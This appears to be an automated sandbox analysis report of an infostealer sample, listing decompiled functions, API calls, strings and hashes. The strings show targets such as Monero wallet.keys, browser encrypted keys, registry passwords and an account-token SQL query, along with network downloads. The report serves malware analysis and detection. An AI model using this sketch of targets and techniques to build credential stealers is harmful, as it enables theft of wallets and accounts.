Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 003942EC
lstrcat.KERNEL32(?,0115E538), ref: 0039430B
lstrcat.KERNEL32(?,?), ref: 0039431F
lstrcat.KERNEL32(?,0115CE68), ref: 00394333

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 00398D90: GetFileAttributesA.KERNEL32(00000000,?,00381B54,?,?,003A564C,?,?,003A0E1F), ref: 00398D9F

Part of subcall function 00389CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00389D39

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 003993C0: GlobalAlloc.KERNEL32(00000000,003943DD,003943DD), ref: 003993D3

StrStrA.SHLWAPI(?,0115E568), ref: 003943F3
GlobalFree.KERNEL32(?), ref: 00394512

Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389AEF
Part of subcall function 00389AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00384EEE,00000000,?), ref: 00389B01
Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389B2A
Part of subcall function 00389AC0: LocalFree.KERNEL32(?,?,?,?,00384EEE,00000000,?), ref: 00389B3F

lstrcat.KERNEL32(?,00000000), ref: 003944A3
StrCmpCA.SHLWAPI(?,003A08D1), ref: 003944C0
lstrcat.KERNEL32(00000000,00000000), ref: 003944D2
lstrcat.KERNEL32(00000000,?), ref: 003944E5
lstrcat.KERNEL32(00000000,003A0FB8), ref: 003944F4

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: e7badd5eeec81888088292cec87cd7e2c9e16939db36537792e6be9be0950826
Instruction ID: caa7deb26f024e3ef9a8bfa4c936c86241f4adb1f111ae8f8dbaa8508ed12435
Opcode Fuzzy Hash: e7badd5eeec81888088292cec87cd7e2c9e16939db36537792e6be9be0950826
Instruction Fuzzy Hash: 3B7155B6900608ABCF15FBE0DC89FEE777DAB98304F044598F605A7181EA35DB49CB91

Function 00381310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003812B4
Part of subcall function 003812A0: RtlAllocateHeap.NTDLL(00000000), ref: 003812BB
Part of subcall function 003812A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003812D7
Part of subcall function 003812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003812F5
Part of subcall function 003812A0: RegCloseKey.ADVAPI32(?), ref: 003812FF

lstrcat.KERNEL32(?,00000000), ref: 0038134F
lstrlen.KERNEL32(?), ref: 0038135C
lstrcat.KERNEL32(?,.keys), ref: 00381377

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,0115A250,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00381465

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

DeleteFileA.KERNEL32(00000000), ref: 003814EF

Strings

\Monero\wallet.keys, xrefs: 0038138D
.keys, xrefs: 0038136B
SOFTWARE\monero-project\monero-core, xrefs: 00381335
wallet_path, xrefs: 00381330

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: a28a98fab51c120d0bb6d6474c73f802720236e185eae1e862b72be1392b1f58
Instruction ID: 858bd698dbee9c31bb1f8e053602318171c75d662e6f0fffd4e0cf4a5ef24c80
Opcode Fuzzy Hash: a28a98fab51c120d0bb6d6474c73f802720236e185eae1e862b72be1392b1f58
Instruction Fuzzy Hash: 175132B19506195BCF16FB60DC92FED777CAF54300F4042D8B60AA6081EF706B89CBA6

Function 003875D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003872D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0038733A
Part of subcall function 003872D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003873B1
Part of subcall function 003872D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0038740D
Part of subcall function 003872D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00387452
Part of subcall function 003872D0: HeapFree.KERNEL32(00000000), ref: 00387459

lstrcat.KERNEL32(00000000,003A17FC), ref: 00387606
lstrcat.KERNEL32(00000000,00000000), ref: 00387648
lstrcat.KERNEL32(00000000, : ), ref: 0038765A
lstrcat.KERNEL32(00000000,00000000), ref: 0038768F
lstrcat.KERNEL32(00000000,003A1804), ref: 003876A0
lstrcat.KERNEL32(00000000,00000000), ref: 003876D3
lstrcat.KERNEL32(00000000,003A1808), ref: 003876ED
task.LIBCPMTD ref: 003876FB

Strings

: , xrefs: 0038764E

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: c4ac5ddd66e408eb7f435b15f9d3a53690f35e557c8e3120040223d4dbf1c36f
Instruction ID: d3221e06edda73b4964fd788a0862bea70589f4d1d9d41fe5f51bad368f52e9f
Opcode Fuzzy Hash: c4ac5ddd66e408eb7f435b15f9d3a53690f35e557c8e3120040223d4dbf1c36f
Instruction Fuzzy Hash: 7F312972D00609DFCB06FBA4DC99DEE7B79AB54305B244158F102AB290DB34A94ADB61

Function 00398100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0115E2F8,00000000,?,003A0E2C,00000000,?,00000000), ref: 00398130
RtlAllocateHeap.NTDLL(00000000), ref: 00398137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00398158
__aulldiv.LIBCMT ref: 00398172
__aulldiv.LIBCMT ref: 00398180
wsprintfA.USER32 ref: 003981AC

Strings

%d MB, xrefs: 003981A3
@, xrefs: 0039814D

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: c380bf1fe0afbb89a1ab17316eba0950e6d505a3d436a8065cbeeefcb8603aef
Instruction ID: 8d4a74a3f157d875425abb4447cfe267e8b7958d743c0927800fe4e7f0ed4069
Opcode Fuzzy Hash: c380bf1fe0afbb89a1ab17316eba0950e6d505a3d436a8065cbeeefcb8603aef
Instruction Fuzzy Hash: AF211AB1E44218ABDF00DFD4DD4AFAEBBB8FB45B14F104609F605BB280D77869058BA5

Function 003860A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

InternetOpenA.WININET(003A0DF7,00000001,00000000,00000000,00000000), ref: 0038610F
StrCmpCA.SHLWAPI(?,0115E828), ref: 00386147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0038618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 003861B3
InternetReadFile.WININET(?,?,00000400,?), ref: 003861DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0038620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00386249
InternetCloseHandle.WININET(?), ref: 00386253
InternetCloseHandle.WININET(00000000), ref: 00386260

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 76bf57684d7b4d96e1615973c33085db935b7a9e09a74d9004dbeaa1519d7f5a
Instruction ID: 801508d4c17982154f4783e8c7ae85dd935bcfa1ea37aada6fe931c589e4242f
Opcode Fuzzy Hash: 76bf57684d7b4d96e1615973c33085db935b7a9e09a74d9004dbeaa1519d7f5a
Instruction Fuzzy Hash: B35190B1900718AFDF21EF60CC4ABEE77B8FB44305F0085D8A605AB181DB746A89DF95

Function 003872D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0038733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003873B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0038740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00387452
HeapFree.KERNEL32(00000000), ref: 00387459
task.LIBCPMTD ref: 00387555

Strings

Password, xrefs: 00387401

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 36ad92d0c852bcc6a75d82e04cda00479c16c7d8f618b1d0d8e738d1bf6887f7
Instruction ID: 0257cf703ac0bb36b62e345ead26a3c03a56f76d9a1a426b4b620f5f404b36b8
Opcode Fuzzy Hash: 36ad92d0c852bcc6a75d82e04cda00479c16c7d8f618b1d0d8e738d1bf6887f7
Instruction Fuzzy Hash: 16613BB580426C9BDB25EB50CC45FDAB7B9FF44304F1081E9E649AA141DBB09BC9CFA1

Function 0038BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

lstrlen.KERNEL32(00000000), ref: 0038BC9F

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0038BCCD
lstrlen.KERNEL32(00000000), ref: 0038BDA5
lstrlen.KERNEL32(00000000), ref: 0038BDB9

Strings

AccountId, xrefs: 0038BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0038BBEB
AccountTokens, xrefs: 0038BB49
AccountTokens, xrefs: 0038BABA

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 7b0776277699f218ba864e62308f9e823e188708d95b25aedd59999d087f822a
Instruction ID: 67c0bd1e56b15e401caf2c0f9e538af44717d56aa04d88ec3af7af763cc8b6ea
Opcode Fuzzy Hash: 7b0776277699f218ba864e62308f9e823e188708d95b25aedd59999d087f822a
Instruction Fuzzy Hash: 83B141729106189BDF06FBA0DD96EEE7778BF54300F404258F506AA091EF346E49DBE2

Function 00396770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00396774
ExitProcess.KERNEL32 ref: 003967A5
ExitProcess.KERNEL32 ref: 003967AF
ExitProcess.KERNEL32 ref: 003967B9
ExitProcess.KERNEL32 ref: 003967C3
ExitProcess.KERNEL32 ref: 003967CD

Strings

*, xrefs: 0039678C

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 2b566722f51e37453ee8ee065ca5b3221a9a7f43ebfb754635db2598cdba3ceb
Instruction ID: 79a8265c5936548aa9c5a27bd38ea24e9cc9f2bf2a862d9709ccbc26b039a99a
Opcode Fuzzy Hash: 2b566722f51e37453ee8ee065ca5b3221a9a7f43ebfb754635db2598cdba3ceb
Instruction Fuzzy Hash: 9FF05E3590520DEFD7449FE0ED1EB2C7FB4FB1470BF040199E60986290D6704B46AB96

Function 00384FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00384FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00384FD1
InternetOpenA.WININET(003A0DDF,00000000,00000000,00000000,00000000), ref: 00384FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00385011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00385041
InternetCloseHandle.WININET(?), ref: 003850B9
InternetCloseHandle.WININET(?), ref: 003850C6

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
